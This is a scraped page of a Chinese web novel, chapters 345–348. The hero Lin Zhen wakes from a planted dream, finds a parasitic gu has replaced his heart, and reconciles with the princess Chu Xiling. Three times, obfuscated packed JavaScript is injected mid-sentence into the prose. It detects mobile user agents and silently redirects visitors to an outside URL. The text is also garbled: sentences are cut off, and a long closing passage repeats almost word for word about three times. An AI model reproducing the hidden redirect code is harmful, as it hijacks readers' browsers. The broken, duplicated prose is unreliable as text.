林臻只觉眼前的世界疯狂旋转,意识被无尽的黑暗吞噬,刚要张口惊呼,刹那间天旋地转,黑暗将他彻底淹没,再次昏死过去。 待林臻悠悠转醒,只觉周身绵软无力,入目是一片金碧辉煌,雕梁画栋间尽显奢华。 这是嫣儿的寝宫? 还未及他回神,耳畔已响起声声急切呼唤:“夫君,你醒了!” 林臻转头望去,就见慕容嫣坐在床边哭得眼睛红肿,那手绢已经湿漉漉的,还给林臻擦脑门的汗珠。 “嫣儿?” “夫君,是我呀!我是嫣儿,呜呜呜呜呜.你终于醒了。” “我” 林臻脑子昏沉沉的,感觉里面装的都是浆糊。 他朦胧地记得自己陷入了楚惜灵植入的梦魇当中,轮回轮回 高楼大厦,没有脸的上官婉儿,庭院里的最后相见. 最后. 林臻猛然瞪大双眼。 他想起来了,自己的心被楚惜灵给吃了! 他赶紧伸手摸向自己的胸口,惊得浑身冰凉。 我的心,没有了。 第345章 醒来 难道说我的心真的被楚惜灵给吃掉了? 还是说我依旧处在梦中,还没醒啊!! 林臻的手猛然探出,一把揪住慕容嫣的凤袍,那凤袍上精致的绣纹似也被他的慌乱揉皱,纷纷滑落,露出那傲人的雪白双峰与香肩。 林臻却无心去看,他双目圆睁,嘶吼出声:“楚惜灵呢?” 慕容嫣被他这突如其来的举动惊得身形一颤,眼眶泛红,也顾不上春光乍泄,轻声道:“她昏迷了过去,被我下旨关在大理寺牢房。” 林臻的手无力地松开,凤袍滑落。 慕容嫣这才将凤袍系好,再次握住林臻的手。 林臻又急切地追问:“我昏迷了多久?” 慕容嫣垂眸,声音带着几分疲惫:“一天一夜。” 林臻仿若失神,喃喃自语:“一天一夜.看来梦里的时间与现实的时间维度确实差很多,因为楚惜灵说过,她已经在梦里待了十几年了……” 太可怕了。 苍老的灵魂瞬间回到年轻的身体,楚惜灵能受得了吗? 梦中的画面走马灯般在林臻脑海闪现。 楚惜灵的一颦一笑、字字句句,都仿若刻入他灵魂深处。 可如今,现实的冲击让他头晕目眩。 他咬着牙,试图起身下地。 刚撑起身子,胸口和小腹便如被万针齐刺。 “啊!!”剧痛袭来,他闷哼一声,身子晃了晃。 慕容嫣见状,急忙伸手按住他,慌乱间竟不小心扯掉了他肩头的衣物。 刹那间,一道触目惊心的疤痕袒露在众人眼前。 那疤痕红得刺目,蜿蜒在林臻胸口,仿若一条狰狞的血蛇,昭示着曾遭受的重创。 慕容嫣多次与林臻有肌肤之亲,却从没见过这道疤痕。 此时她瞪大双眼,声音发颤地问道:“夫君,你这是怎么弄的?” 林臻眉头紧锁。 看来自己的心真的被楚惜灵挖走了。 但是如果挖走了,我为什么还活着啊? 听说过用猪心换人心的,就是没听说过没有心脏的人也能活着的。 但是林臻不敢说,以免让慕容嫣她们担心,于是摇了摇头:“我也不知道。” 即便伤痛钻心,林臻也必须去牢房里看看楚惜灵,瞬间确定下这他妈到底还是不是梦。 他现在已经有点害怕了。 林臻眸中透着坚定,再次挣扎着起身。 司马椿蕾擦了擦眼角的泪水赶忙蹲下 ,双手轻柔地为他穿上鞋子。 顾镇也匆匆拿来大氅,小心翼翼地披在他肩上。 众人皆知拗不过他,只能随着他的脚步,三人立刻带着大批护卫出宫,直奔大理寺。 大理寺,那座威严阴森的牢狱,仿若一只蛰伏在黑暗中的巨兽。 刚刚靠近,一股令人作呕的恶臭便扑鼻而来。 那是腐肉、污水与陈腐稻草混合的气味,呛得人几欲窒息。 踏入其中,昏暗的光线仿若被黑暗吞噬,只余下几缕微弱的、如鬼火般摇曳的亮光,艰难地穿透狭小且布满青苔与蛛网的窗棂,吝啬地洒在牢房的地面上。 地面上污水横流,汇聚成一滩滩散发着刺鼻气味的泥淖,其中还漂浮着不知名的秽物,偶尔有几只肥硕的老鼠穿梭其间,吱吱乱叫,全然不惧生人。 墙壁因常年的潮湿而长满了墨绿色的青苔,触手滑腻,仿若某种诡异的鳞片。墙角处,还挂着丝丝缕缕的蜘蛛网,上面粘着早已风干的昆虫尸体,在这死寂的环境中,像是无声的祭品。 楚惜灵蜷缩在牢房内角落的草堆上,那所谓的“草堆也不过是几簇在污水与阴暗滋养下苟延残喘的枯草,稀稀拉拉地散落在泥淖之中。 她的发丝凌乱地披散在肩头,衣物破旧不堪,多处被撕扯开,露出白皙却带着淤青的肌肤。 此刻的她,仿若一只受伤后躲在阴暗角落的小兽,柔弱无助,惹人怜惜。 林臻心急如焚,大步上前,对小厮喝道:“开门! 小厮哪敢耽搁,手忙脚乱地打开牢门。 林臻一个箭步冲进去,双膝跪地,不顾地上的污秽,轻轻抱起楚惜灵。 双手颤抖着摇晃她的身体,声音带着几分焦急:“灵儿,醒醒! 似是听到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林臻把楚惜灵横抱起来,大步往前走去。 然而,就在即将踏出牢房的瞬间,楚惜灵的身子突然一僵,原本搂着林臻脖颈的双手缓缓滑落,再次朝他的心脏位置抓去。 林臻懵了,低头看她,就见这妮子满脸笑意,张了张嘴,又指了指林臻的心脏。 仿佛在说:我想起来了。 第346章 上官婉儿的倾国倾城 很快楚惜灵又昏迷过去让林臻不禁以为刚刚的诡异笑容仿佛错觉。 摄政王府内气氛凝重得仿若能滴出水来。 林臻怀抱着昏迷不醒的楚惜灵大步流星地迈入府门。 身后慕容嫣与司马椿蕾、顾镇相互对视一眼默默回宫去了。 毕竟府内尚无人知晓楚惜灵给林臻下蛊这件事她们冒然进去令人怀疑。 一进王府林臻径直朝着卧房奔去。 房内浣碧正躺在林臻原来的床上睡觉听见动静立刻惊醒。 见是林臻说道:“夫君您怎么回来了?这是谁啊?” 浣碧边起身边把扣子扣好。 林臻反手将楚惜灵放在床榻上对浣碧说道:“碧儿你找几个心细的丫鬟帮她洗个澡好好照顾我有急事等下再跟你说。” “嗯!夫君放心!”浣碧重重点头转头走出去对几个伶俐的丫鬟急声吩咐:“快命人去烧洗澡水再准备几件新的衣服。” “是!” 丫鬟们忙不迭地应下手脚麻利地去准备热水、香胰子等物。 林臻望着楚惜灵那苍白如纸的面容眼中闪过一丝疼惜与决绝。 随即他猛地转身向着上官婉儿的院落疾行而去。 他必须确定现在的一切到底是不是梦。 此刻夜色仿若一块厚重的黑色绸缎将整个王府都裹了起来万籁俱寂唯有林臻急促的脚步声在石板路上回响。 上官婉儿所居的院落在夜色中透着几分静谧与雅致院门口的红灯笼随风轻轻摇曳洒下朦胧的光晕。 林臻刚要抬脚迈进却见两个家丁快步上前拱手阻拦:“世子爷这么晚了您这是.” “我要见你家小姐。” “世子爷我家小姐说过 林臻心急如焚哪有心思顾及这些繁文缛节。 他眉头紧锁眼神冷峻得仿若能凝出霜来:“放肆!你去告诉上官婉儿让她速速穿好衣服我今日必须进去见她此事关乎重大出了问题我要你们所有人的命!” 家丁面露为难之色相互交换了一个眼色。 犹豫片刻还是应了一声转身快步向院内走去。 院内上官婉儿早已睡熟她侧身而卧如墨的青丝松松挽起几缕碎发俏皮地垂落在白皙如玉的脖颈边 。一条藕臂轻柔地搭在身侧锦被上手指微微蜷曲仿若在睡梦中也透着几分慵懒与娇柔。 偶尔锦被滑落至腰间露出她玲珑有致的曲线身上仅着一袭薄如蝉翼的洁白亵衣亵衣上绣着的精致暗纹在朦胧月色透窗而入的微光下若隐若现仿若藏着无数缱绻的心事。 外面的丫鬟突然大呼小叫刺破了她的美梦。 “小姐快醒醒!” 上官婉儿猛地惊醒眼眸中还带着几分惺忪睡意:“怎么了?毛毛躁躁的。” “小姐 听闻此言上官婉儿大惊失色她素手轻掩朱唇难以置信地道:“世子爷向来是知礼之人今日怎会这般无礼?你们有没有听说最近都发生了什么事情?” “没有啊一切都和平常一样啊就是前两天芦小公爷接亲的时候被袭击了。” “那就奇怪了别哭了快去把我的斗笠取来。” “嗯!” 上官婉儿自幼受礼教熏陶对婚前不能相见的这些传统规矩看得极重。 丫鬟取来斗笠上官婉儿系在头上还没等穿好衣服外面就传来一阵喧闹声。 紧接着房门“砰”的一声被人大力推开。 上官婉儿惊愕地抬眸只见林臻大步跨了进来家丁仆役们一脸焦急地跟在后面却又不敢真的阻拦。 林臻的目光仿若燃烧的火焰急切地在屋内搜寻最终定格在那站在床边的女子身上。 上官婉儿见林臻闯入先是慌乱的抬手遮挡斗笠随之轻轻晃动。 她强自镇定下来盈盈下拜声音带着几分嗔怪与委屈:“世子爷这么晚了您为何不顾规矩硬闯进来?” 林臻仿若未闻他的目光紧紧锁在那顶斗笠上心中的急切愈发急切。 看来自己还在梦中否则她大半夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146531|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怎么会带个斗笠呢? “把斗笠脱了。” “世子有事情你可以说但是我们婚前是不能见面的现在已经是坏了规矩还请您” 林臻现在就想挣脱梦境哪管什么规矩礼教。 未等上官婉儿说完他一个箭步上前手臂迅猛伸出一把扯住斗笠的系带用力一拉。 哗啦啦—— 随着他这突如其来的动作白色斗笠在空中划过一道弧线翩然落地。 刹那间上官婉儿那张倾国倾城的脸毫无保留地展露在林臻眼前。 只见她眉如远黛,仿若春日里随风舒展的柳叶;目若秋水,澄澈中透着灵动与聪慧;肌肤赛雪,在朦胧的灯光下仿若散发着温润的光泽,恰似那羊脂玉般细腻动人。 这般容貌,活脱脱就是刘诗诗那般清冷出尘、温婉可人的神韵。 饶是林臻心急如焚,此刻也不禁微微一愣,心中暗叹:果真是貌若天仙。 他定了定神。 难道说,自己真的醒了吗? 他有些不敢确定,但上官婉儿的绝世容颜已经真切地摆在眼前。 不知为何,他长长地舒了口气,随即大步走到她面前,说道:“婉儿,今日之事实非我有意冒犯,实在是事态紧急.关乎生死。” 上官婉儿点了点头,说不清是淡笑还是欣慰,总之她情绪好了很多。 “世子向来稳重,对婉儿也相敬如宾。今日之事,婉儿知道您也并非刻意,自然不会责怪世子。” 好。 通情达理的好姑娘。 不愧是我林臻的正妻。 “婉儿,谢谢你。” “你我即将结发,夫妻一体,何需言谢?只是今日夜深,既然世子已经确定了某些事情,那婉儿就不便多留您了。” 林臻有些纳闷:“你就不好奇什么事情吗?” “世子是家里的顶梁柱,您不愿多说,婉儿自然不该多问。” “也好,那就等王爷回来后,我再告诉你。” 第347章 你的心,属于噬心蛊 林臻脚步匆匆趁着如水的月色从上官婉儿的院落里出来抬眸间只见皓月高悬当空洒下银白的清辉将王府的每一寸土地都照得忽明忽亮宛如梦幻之境。 他的身影在雪地上拖出一道长长的、孤独的黑影深一脚浅一脚地朝着奉先阁走去。 奉先阁高高地矗立在王府一隅飞檐斗拱在月光下勾勒出冷峻而又威严的轮廓。 林臻一步步踏上通往奉先阁的阶梯每一步都似承载着满心的沉重。 随着脚步渐近奉先阁内庄严肃穆的气息愈发浓烈地扑面而来。 刚踏入阁门昏暗的光线便将他笼罩唯有几盏长明灯在角落里不屈地摇曳闪烁仿若跳跃的鬼火 长明灯的微光映照着四周墙壁墙上一幅幅画像徐徐映入眼帘。 画中之人皆目光深邃仿若穿透时空凝视着当下。 他们或是王府的先辈面容威严承载着家族往昔的荣耀;或是曾为王府立下赫赫功勋之人即便岁月在画像上留下斑驳痕迹却依旧难掩其眉宇间的英气。 还有林臻的父亲林童。 正前方一排檀木牌位整齐排列其上金字在微光下熠熠生辉铭刻着历代先人的名讳。 牌位前供奉着新鲜的果蔬、香醇的美酒袅袅青烟从香炉中升腾而起在空中缓缓盘旋。 林臻缓缓拾级而上木质楼梯在脚下发出轻微的“咯吱”声在这寂静的夜里显得格外清晰。 沿途雕花的窗棂透进丝丝缕缕的月光在地面上交织出一片片银白的光影与室内的昏暗形成鲜明对比。 越往上走寒意愈发逼人仿若有一双无形的手轻轻抚过肌肤带来丝丝凉意。 待终于登顶极目远眺一幅如梦似幻的王府全景图在眼前徐徐展开。 月光下王府的亭台楼阁错落有致宛如星罗棋布的玉宇琼楼屋脊上的积雪仿若皑皑白云轻轻巧巧地卧着偶有几处滑落簌簌而下。 庭院中的湖泊早已冰封冰面在月光下闪烁着粼粼寒光仿若一面巨大的银镜倒映着岸边的枯树与楼阁虚实相映宛如两个世界在此重叠。 长廊蜿蜒曲折好似雪下巨龙;廊柱上的雕花在月光轻抚下投下神秘而又绮丽的暗影。 假山上的积雪将平日里嶙峋的怪石装点得圆润柔和几株从石缝中顽强探出的枯草此刻也被霜雪裹住宛如晶莹剔透的艺术品。 林臻倚着栏杆,寒风拂面,却浑然不觉,只是目光迷离地望着这一切。 他有些分不清眼前一切究竟是现实,还是梦境。 好在今天看到了上官婉儿的脸。 那就应该是现实吧?毕竟以前我没见过她。 可如果是现实 林臻低下头,缓缓拉开自己的衣襟,胸口那道狰狞的伤口闯入眼帘,在这洁白的雪夜中显得格外刺目。 如果是现实,那没有心的自己为什么还能活着呢? 冷风吹来,林臻不禁打了个哆嗦,合上衣服。 他回想起初到大乾时的紧张布局与夺走顾北辰气运的动力、想起这一路走来的艰辛与坎坷。 那些面孔、那些声音、那些或温暖或冷酷的瞬间,走马灯般在眼前闪现,却又都透着一股不真实感,仿若隔着一层薄纱,触手可及,却又遥不可及。 “林臻.”一声轻柔的呼唤仿若一道暖光,瞬间划破了他的沉思。 林臻蓦然回首,只见楚惜灵沐浴完毕,青丝如瀑般垂落在肩头,几缕湿发紧贴着脸颊,更衬得她面容娇艳欲滴。 只是,在这寒夜之中,她发丝末梢的水珠已然凝结成冰,仿若串串细碎的水晶,在微光下闪烁着清冷光芒。 她身着一袭月白色的锦袍,衣袂飘飘,仿若踏月而来的仙子,步步生莲,向着他缓缓走近。 林臻望着她,一时间竟有些痴了。 只觉眼前这女子美得如梦似幻,将周边的一切都衬得黯淡无光。 待楚惜灵走到近前,他才回过神来,轻声问道:“你怎么知道我在这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146532|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 楚惜灵微微仰头,看着他:“是侯春说的。” 林臻微微点头,沉默片刻,再次开口道:“梦里的东西,你都想起来了吗?” 楚惜灵的眼神微微一动,轻轻地点了点头:“想起来了。” 说着,她悄然绕到林臻身后,伸出双臂,轻轻地从后面抱住了他,双手不偏不倚,正好放在他那有着狰狞疤痕的胸口。 她将脸贴在林臻的后背,轻声呢喃:“而且,非常清晰.” 林臻的身体微微一僵,感受到楚惜灵的体温透过衣衫传递过来。 “那我的心.” “你的心还在,上面的伤疤是噬心蛊侵蚀的结果。” “能告诉我到底是怎么回事吗?” 楚惜灵幽幽地叹了口气,紧紧的抱着林臻不松手:“我幼年时,我父皇为了争霸天下,不许耗费人力物力财力,从苗疆来一位巫婆。巫婆善下蛊,尤其是噬心蛊,据说可以通过妻子来控制丈夫。父皇下旨,命所有公主都要中下噬心蛊,等成年后去别国和亲,以此来控制别国皇子。” 林臻问道:“你的意思是说,你们楚国公主身上都有蛊?” 楚惜灵摇了摇头:“不是,只有我。” “为什么?” “因为那些中了噬心蛊的公主,都遭到噬心蛊的反噬,弄得人不人鬼不鬼。只有我和噬心蛊合二为一,顺利长大成年。父皇对我寄予厚望,让我读书写字、钻研政治,而几个月前,是我第一次带领使团外交,结果就遇到了你。” “那你给我植梦又是怎么回事?” “噬心蛊的母体与载体,可以通过梦境相连。也就是说,以后你每次做梦都会遇见我了。” 听起来有点吓人。 不过楚惜灵绝对是当之无愧的美女,所以林臻对此并不是很难接受。 但愿以后少做梦吧 “那我的心呢?” “你的心,属于我,也属于噬心蛊。” 第348章 噬心蛊是寄生虫? “什么意思?” “噬心蛊已经与你融为一体,它可以帮你恢复身体,强健体魄。”说到这,楚惜灵忽然想起什么,下巴抵在林臻的背后上笑道:“哦对,用你那个世界的话说就是可以增加肌肉密度,百毒不侵,甚至只要不是致命伤口,都能在很短时间内愈合。” 听起来这么玄幻呢? 我穿越的不是小说么?《女帝也是我的笼中雀》也不是修仙小说啊。 林臻追问道:“你真的把我那个世界的知识都掌握了?” “差不多吧,你让我造飞机、航母什么的不太可能,但在乾国发起一次工业革命还是没问题的。” 林臻握住他的手:“你不会觉得可惜吗?毕竟你的国家还存在。” 楚惜灵摇了摇头:“不,我在你的世界里看到了。所谓天下大势,分久必合合久必分。是时候让这个乱世统一了。就像你说的那样,我父皇不会把皇位给我,我的兄长也不会推举我当皇帝。所以,在你们大乾当历史上第一个女宰相,貌似也不错。” “谢谢你。” “你我一体,就不必说谢谢了吧?况且,我还让你承受过那么巨大的痛苦。” 说到这,楚惜灵心里酸酸的。 噬心蛊的痛苦绝非常人能够挺住,就算挺住了,在面对梦境世界里的一切正常人也很难把持。 没有人不喜欢做神仙,掌控一切。 然而林臻却非要醒过来,可见他超乎常人的意志力。 所以,楚惜灵喜欢林臻,她愿意为林臻去做。 “其实.”楚惜灵说道,“噬心蛊还有个好处。” “什么好处?” “只要你想,你就可以长生不老。” “长生不老?在梦境里么?” 如果是在梦里,那确实可以长生不老,因为时间的流速不一样。 人可以在梦境里生活十年,百年,千年,而容貌却不会有一丝一毫的变化。 但这样的长生,估计没人想要。 楚惜灵却摇摇头:“是,也不是。噬心蛊还有很多作用,如果你想了解一切,就必须得去苗疆找巫婆询问,如果你不在乎,我就帮你在大乾掀起一场改革的浪潮,称霸天下。” 林臻感动地转过身,在奉先阁的顶端,将楚惜灵紧紧搂住。 寒夜的风如冰刀般凛冽,呼啸着掠过,将王府的积雪卷起,在空中肆意飞舞。 然而,此刻相拥的两人,却仿若被一团炽热的火焰所包围,寒意被隔绝在外。 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 